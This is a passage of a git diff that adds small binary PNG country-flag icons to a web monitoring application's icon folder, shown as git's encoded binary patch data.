zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{29*Gx5LafFT~Zo5l+Cv=#U!xrXJJ|-*Vh-} z=eOqbZ<cuvIfY6BQf{#DH0akbFfasqx;TbZ+zLGtEp$MEgXJLSG4_Z5zVj~X+;y}) zw!1(+v0d`XSuPv<Gnz~OahdO^*^>F?T%LaJyhT=9^MAW|W?JzX1!+wZSKb*s?ed@B dt`?t}Jd~NrjsCLiU|?Wi@O1TaS?83{1OP8KTI>J- literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cy.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cy.png new file mode 100644 index 0000000000000000000000000000000000000000..57fcca7a099af3b178b8f7bf00703bf87586c7a1 GIT binary patch literal 256 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z8Zye|>m+Y~SroQxCLcED3!5Y|F1B zy#H>c9bT;sa+0g3i(^Q|tzKV4p#ugSLaHDC+vo8oKaOA%6)=^K2narUDrsBm6{mO1 zmh#%-mtQBuuVhc|c~xlgNpwz*y~Kk13=G@tD;PGhF@|p{%kpGkU|{fc^>bP0l+XkK DN&8jI literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cz.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/cz.png new file mode 100644 index 0000000000000000000000000000000000000000..8ca1fb6ad5f01bed91da4793ce8efbf644b95f91 GIT binary patch literal 239 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z4;Mg5SJsx&oUY-1+k7&+lXV-YlAN zCoAgAJB4773rsv+978H@g`RfgV^H8Ya)34D-~VLh&WYd5+Fz}iSu<I3f%?mKnd-~U lTf&1Mgcq*JSkTC%|9=AGqY}1aSq26M22WQ%mvv4FO#m=@P+tH5 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/de.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/de.png new file mode 100644 index 0000000000000000000000000000000000000000..ff85c6697b09892906d08fa68c4b01119e9263f1 GIT binary patch literal 192 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-EufccJMz)uMfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}dHyfKQ0)zfUaxq<Dl_SeC#3A<MwPAmZub7*cU7 nIiQJw&1s7Qi@*|21_o6jwqJ9P>Gm)%Ffe$!`njxgN@xNAv6eDf literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/dj.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/dj.png new file mode 100644 index 0000000000000000000000000000000000000000..bb98a867f7f653706d08575daf526bc01c26e319 GIT binary patch literal 244 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5ZB4uC#B9#|MKO_uT`u5S=sz6C@^L{ z-IV&!cH4#f3=9mGo-U3d6}LjqL~=10@Gu4X?z;2;n6L9ft9pKygv^e&CgNA8FZ3}j s@-bX=GQ9V5cde^(&!R<L1|JzBzB83SV)_1-fq{X+)78&qol`;+0I=#(RR910 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/dk.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/dk.png new file mode 100644 index 0000000000000000000000000000000000000000..7986a0fb5ee5b01e289cff28cb3d5bf3de746352 GIT binary patch literal 223 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z8SS4Eq@vj>*dY|NsAlipr<6XTMy& z{N>7(BWxeD7#J8-JY5_^DsCkwB%~yyB&8)Lq_Aw1SaBkimB}ovER4h9`K2>)46W*n W&H^5(PZ$^&7(8A5T-G@yGywpWe?-jy literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/dm.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/dm.png new file mode 100644 index 0000000000000000000000000000000000000000..34e4fb3c11b6dc716a7aaf705ae1f2c748f5ec27 GIT binary patch literal 267 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Lcclyc<^8OpLR)2sZfm^{ri*zzSIo zNp9AxPgk@V7#IRPT^vIyZk6^0@*Pm%ancsu^S_t9_~bVJ_@pOG*`h_+EMBKB_}{hu zQ~^Jaf}>~j);HVrl(+f^30AI}mcMA(#_Cy9HZ3}y@!dv#>CEG%e%A487BVhgy&_hI Qfq{X+)78&qol`;+0R3)O#Q*>R literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/do.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/do.png new file mode 100644 index 0000000000000000000000000000000000000000..e0c37d6125e876eace3cb7687cdbd840d549c496 GIT binary patch literal 226 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2B83-5Z8Z9EWf`0WMcaBuc+kTzduDqf9}XQ z$S^Q4=z6+1hE&{2PGDkob7SLJ&~loKt*7Tq!hr)#Oc!<vxc2A>_y!0|NGiGo9b#pe Yq`{a{=Usl9fq{X+)78&qol`;+0REmsG5`Po literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/dz.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/dz.png new file mode 100644 index 0000000000000000000000000000000000000000..6454fa8ae582faaac49ec855d0ce6d0190971b49 GIT binary patch literal 253 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LXr^mLK1L&SheG$IAXLuON|$<^AGC zzjo}%)iS=qz`)?->EaktajW#4Cm(|X2lD|h)_?z#d!-zE@2E{-oe`R*d(e358powG zeyhz)uNF@0?DG0AFjuo?tyH_tp$U(Bzdt|9R&te5Tx4Fu6$S<d22WQ%mvv4FO#tXl BQTYG> literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ec.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ec.png new file mode 100644 index 0000000000000000000000000000000000000000..3dc0528234bf65b8fbfe5751cc74d5894812cd5b GIT binary patch literal 245 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z6`ABFxOI(nFmpN{rSomUce7Fm$T@ z@82w^F7`_^Ffdqox;TbZ+?skanu|e!!zHlT?e_n^>WGy3Qr3?Pu4q>(oa|=c-!1c! sd-GAFCd+4nDkj0AQd5l5*Uy(){F>?5Tsc=o1_lNOPgg&ebxsLQ0L{=!>Hq)$ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/edu.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/edu.png new file mode 100644 index 0000000000000000000000000000000000000000..78d0951893976d5dc1a736edd01eae568d861842 GIT binary patch literal 256 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-EufccJMz)uMfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&i0gj=iT~Hm{f~<J-_z66a!x{GX|iH< zve(*@eQ`?|7#LhVT^vIyZsi^i<UL@(;d)V8W`dN0#e#?xtY-iH+^*NYQ+cmCeO33` zSJ#gD@1F6#Pv+;g-zjUS_SRYo+e=7YJnSOCWBbGA%x%7HhO57IGcYhPc)I$ztaD0e F0st<%S8f0R literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ee.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ee.png new file mode 100644 index 0000000000000000000000000000000000000000..80763f0847f50b72c395e34f13d387aec2533866 GIT binary patch literal 206 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2L1q_5Z8bI{;XQHhKY$qjc<;T&>ii=yVMvM z7-T$M978H@B_}vC@~9Nf3}j#y=2GZA-N7WG!NBl5gt7Cg%I+Kn1_lOCS3j3^P6<r_ D_j)(m literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/eg.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/eg.png new file mode 100644 index 0000000000000000000000000000000000000000..71947de2ceb39c535329c5aca774119c1db0171e GIT binary patch literal 236 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LYH97B5fFfB$~}do}OhmvjFflwXUA z-p9nUwprYmfq}u$)5S5Q;#P8kJ0p)u;mrUBW?_yE8#Xj#s&P!8I&-Sz%+se%H62M! jOKU5V3}j$tWngGDXR3@9u3O2#z`)??>gTe~DWM4f@!&_( literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/eh.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/eh.png new file mode 100644 index 0000000000000000000000000000000000000000..d518ea55d39852c9be7e476d4a77529dee7e6328 GIT binary patch literal 262 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxV+cjchLi0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{29*Gx5LcFItgG~7b~CYrMf-Yf^SR{Y^7r?z z+xhwLwr_vX(h_E8!^*@WXwaU-z`$Vd>EaktajW)}x6lCv4wj38j~Pz>eJ>sP<6!IF z>d;<&)}6t8r=rsjItBFx225G@#dEo3>4v92BTK__QWrkB#BY_)e5<$1EQW!Bfx*+& K&t;ucLK6T8ZdQ8$ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/en.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/en.png new file mode 100644 index 0000000000000000000000000000000000000000..5de202b34c784899dcea93667dbb96628017de25 GIT binary patch literal 302 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzs$zLFQPnE{znM|0|RG)M`SSr1J?%- zW^`I(GJ}DEfhFD1*O7r?V?XzwL{<g{27>^f5LXF_rOArb$zE%FTF(6!koX@J^}na* z|Fv`fae$4zW=|Lx7@|F0978H@sh&3EYfunyxv1ZJ-JpuuvavHDy5ric4O@;et<%@O z>~k-T{lzt@15>1C&41QnwWB;lT`=(dul%)t%aty=T5>!rc{=Z8>ZjV4zee-+1hPF| f(cXIN3IF68(X$skLM0g(7#KWV{an^LB{Ts5gT8yP literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/er.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/er.png new file mode 100644 index 0000000000000000000000000000000000000000..b21bb88bddfd4b142b136991323176d63e1230f6 GIT binary patch literal 250 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qZ$9kr3| zWnf_7EbxddW?<kJ0%68WckBKzFfg#BJNh~@Fl_AS{*%bcz`&pt;1l9H$I^=-`~5vd zf$y3OhCy2yivNGt6!>l^@PDt<cSV8kQHt3?3=BOC3@r?1{L7me7#M;*T^vIyZY2lY zE*58zxN@mvVacsHgSi){ZDV&y-@0^Z<BPs8TefVm<;j{G>0rfsVm|AVh{jh|mnX$K zOJ2Ej^-_d$qe%z*vPK()wLFg)Gu<2w7#I%z*RT-xX{%viU|{fc^>bP0l+XkK9zao{ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/es.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/es.png new file mode 100644 index 0000000000000000000000000000000000000000..09a7531fa5eb744df0184187ca92829aa5a2090a GIT binary patch literal 231 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2B83-5Z8ZPET6bo{_(N=o5k|)8_T~s7Pc$t zvl$o|j67W&Ln>}1C%7>3_-HgRvKkm}Sj504CgR|$XUvt5kksPTv3f!bM~UHu)E)(v dCI?T3rxHwR8B@-uFfcGMc)I$ztaD0e0syEnKi2>N literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/es_cat.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/es_cat.png new file mode 100644 index 0000000000000000000000000000000000000000..41b1410071f8778c699f80e310370fe17f664e36 GIT binary patch literal 229 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzr-agWW{LqR&p8x0|RG)M`SSr1J?%- zW^`I(GJ}DEfhFD1*O7r?V?XzwL{<g{27>^f5LX5Uh6XTh08<SN4Gawp2M!!)XlVG) zz`*dI;Xj!A4`%)U|KDF&&69zFLCDj^F{I*F@(s&sHG#Kj3xs(YIHMfYwbxmPF)%PN Nc)I$ztaD0e0szg%LOcKf literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/es_eu.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/es_eu.png new file mode 100644 index 0000000000000000000000000000000000000000..462be6109cd709607f34ee9264108de77cfcc7e9 GIT binary patch literal 309 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZI14-?iy0WWg+Z8+Vb&Z8 z1_lO}bVpxD28NA&HNOKVGcYhHBzpw;GB8xBGB7kWGcf%8&%n^|l7XSrfPvvv0t189 z3<d`A{7Lag-53}cR(rZQhE&{2N?Dzll92GjuyZCOn}q#8wn_hgMm|)MsjP2QabPf1 zEZ)GhL&Sl>@Zj0QtEBWeLf8Zxd`@gzywWX<U4@aUgL7uHPVX{44hE(U&OEkF=QnUM zu?Rf=|Np;a2QvfXks}T!3>*q#XFmMC`G?<Q({-bTmJA9FGYtNAn+i05SOq`DjeS6x zS6i)F#mLklIEih7>V-=TcN7{Jk`4*4$OvL!WMlZs=xDTM*^$=_3=9mOu6{1-oD!M< D4KQFj literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/et.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/et.png new file mode 100644 index 0000000000000000000000000000000000000000..dc8f7f03bbcd2159904ff1dd4dc0778402a4617c GIT binary patch literal 259 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{29*Gx5ZBi#GM}Pkra8q3yKMP=R4pWTQbt9~ ziWxCtKI@7W@mSTl==8A&#+<QWU|_KEba4!+xV7|@BNu}L5A(q+U+J&^|4$WjwCO57 z<&+ZlM6+7r$q7Z>2^VB$@-hEWIa{$wGiSc{idClVH4&MKEQ~kr?>@-Dz`)??>gTe~ HDWM4f99B{Z literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/eu.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/eu.png new file mode 100644 index 0000000000000000000000000000000000000000..eec69ea7207def100b29f8fdea3c40852c87c1be GIT binary patch literal 269 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+=)GcsBjK6uEV z#K6G7S>O>_%)r3)0fZTy)|kv-U|?WLcl32+VA$Bt{U?!?fq}swz$e6&!Eh~u;d4X7 zwT9W*hS_VgL11k*2xhNcYq)l8_Vcxd|B=8Py@y5&3=9dLE{-7;w~`YQ5(1JK7#kb3 z#8?&1Zt3t0c5HA|U^x-S{3wjgjm=--><NyrV`2;`o74<8urVEtWOfj8uw~-uS?i!| z(#SSLgVSI|!<pM>mhc+&J1S0UWz;x--~`JP28L^=IT$?agc=wa7#KWV{an^LB{Ts5 DJz!cp literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fi.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fi.png new file mode 100644 index 0000000000000000000000000000000000000000..2a5ffe171ca73c7ebd90f1ecce24cb39cc7f74b2 GIT binary patch literal 239 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z8bI{%l+Ir6}r2SJ|7gq$g!@Pm1E6 zRHZ$+!@R?hfq}uq)5S5Q;?~l$hC&PiBFq;#Jm1wPcjdQDyPmt1;liE5jG8klO2G$? mYPDn*8@K6*zkFT&oTba3(X;KIkO%_<1B0ilpUXO@geCwE=T6c9 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fj.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fj.png new file mode 100644 index 0000000000000000000000000000000000000000..91b022cccd8a711e27c2a125a84d9f68f2804bd0 GIT binary patch literal 299 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5Z9*qZ{3sLtO&0^e)jkiSItSgRz8dm zx>(cp&&VX$xQ&aeB`<5s?TOPLt=X`TiN(oj$=#5EXa)v`2u~NskcwNqJ&t?_6gXH4 zT?LkY{l8z=ZSt+?=MFOt=>5!aFkar8$^IaD^{UM)ly&!-Z*+3}8}!k8IcIT=v_SKU y6g?HQ*}rY7S@*68v7EB$Nx$1Sg}E2yZ6d!hc_sx+t6^YZVDNPHb6Mw<&;$Tm#A<N> literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fk.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fk.png new file mode 100644 index 0000000000000000000000000000000000000000..08e7110ecafba3b5aae92f381b8bda8292e29256 GIT binary patch literal 310 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5LYIqJ+=mWrcAnZaLv(U$L!Db%xhXz zke~nZ{rhimY$jLFeylWaS{YF3?Roh?e&;q;-qmN*)fpHVl097<Ln?0Np7G{8Y{21q zk$uL452yc?M|=A|;;V9(X>3pwUbrLs9M8h(w^rWD7Sez4i)}`z;I(D0yec-`3nym! z8mwF_)94Y>9DC>a=fa7H%yQ=~|KTmQh&?&J-!NlxMBSI|{7WjBS*9tf88a|2FnGH9 KxvX<aXaWGALT~H< literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fm.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fm.png new file mode 100644 index 0000000000000000000000000000000000000000..6364ebd0b8bb38ddb2534167d14e1b6240ca45d5 GIT binary patch literal 263 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2E_oM5LYIqKeDoaL`42*YW`WY=+Crif3|P` z!^ZYUN$Jm~O@G#``E&FY$9V<@24_zf$B>F!$q5Qf21bgXXGBKKnD{eijz^KhQJDlT zmKhN{BpR7wbOiqP=*)4@V^^QT9dfj9iA0Ww^eWdiJv-($ax*ZvF*2+Y`uO?`0|Ntt Mr>mdKI;Vst0QnGAH2?qr literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fo.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fo.png new file mode 100644 index 0000000000000000000000000000000000000000..7228cad775a54516c19e78eb6d0f041ce04b1a22 GIT binary patch literal 234 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z8bI{&-1E`4<-Q>C+!Or6pEYd-R0n z-1my%=YQ~zfq_Ba)5S5Q;#P731CyAVTN)e7f%B<HG*5G}<oNWg5jb#wkICmvK*KrL h;GX*_K{2chD-0Q@Eo+*)l!1YP!PC{xWt~$(6968BN5KF9 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fr.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fr.png new file mode 100644 index 0000000000000000000000000000000000000000..aea11511932a5df49a73f580509dd93997af50f2 GIT binary patch literal 191 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eufe~`T34EZfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}dHyfKP}kJNveO|Ni`A=QQrzQOUr-AnfVl7*cU7 mIUylIL?kFEX@M{=gUM0WjX$}3Ef^RW7(8A5T-G@yGywpME;9rG literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fx.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/fx.png new file mode 100644 index 0000000000000000000000000000000000000000..aea11511932a5df49a73f580509dd93997af50f2 GIT binary patch literal 191 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eufe~`T34EZfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}dHyfKP}kJNveO|Ni`A=QQrzQOUr-AnfVl7*cU7 mIUylIL?kFEX@M{=gUM0WjX$}3Ef^RW7(8A5T-G@yGywpME;9rG literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ga.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ga.png new file mode 100644 index 0000000000000000000000000000000000000000..5208c027515d6ad96174252b2420d500bbfff414 GIT binary patch literal 199 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Eufe~`T34EZfq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}15bcYh$|D*8ZWP!fB#rS=CY(N(4E4-z#!r2 w;uunKE7_opfz4@)5X*xltcned3=9m(qTHH`Jftfb7#J8lUHx3vIVCg!0LM`>=l}o! literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gb.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gb.png new file mode 100644 index 0000000000000000000000000000000000000000..2b8cdded45f9ff2fad74eb2f001fe8974cfed14c GIT binary patch literal 280 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z8a~oK1c`0{oph$!mTjq`ZIl;%`U$ zk_BgZI#in&7#LzbT^vIyZq=SM6k;~yV0LJn@aMn0yNX}o*}xlbZZJ3bl?$J{nVjHz zCfsT5_pOWEqF%PFcKg`Fa$AY}@!IOtE7?DP&Ya?Q!ea6nCEvGkmVq07wZ<fu8XtG~ eYG3?^@!x!=#IHO3FEKDMFnGH9xvX<aXaWG^HDpo% literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gd.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/gd.png new file mode 100644 index 0000000000000000000000000000000000000000..318dcdcc9a412aaa0f56bb1103a825495ed7ea46 GIT binary patch literal 298 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxR;>wXQS+0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZC=IET;`wu12vGce8xG%c5MvVz!3m z*B=(vsVqmHvxv=OS#^VD-8z;<bu7!8Se!Po*iFl;Vqjnh_jGX#skjx}&&hW{frDjZ z*wYoi{@<T=c*Zqf3pJGu3=B&+w3m6`e&Ray{n|AVY0;~W3fydzU=}=i(y;rJ#H^%W x8JB;%xlFs3lDzc&s$bS6H!OVG{(e2g9k+xzNcV8eT?PgQ22WQ%mvv4FO#q!PXCeRq literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ge.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ge.png new file mode 100644 index 0000000000000000000000000000000000000000..0907b869f7ab2438895e712d5371eb030e732f47 GIT binary patch literal 223 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T 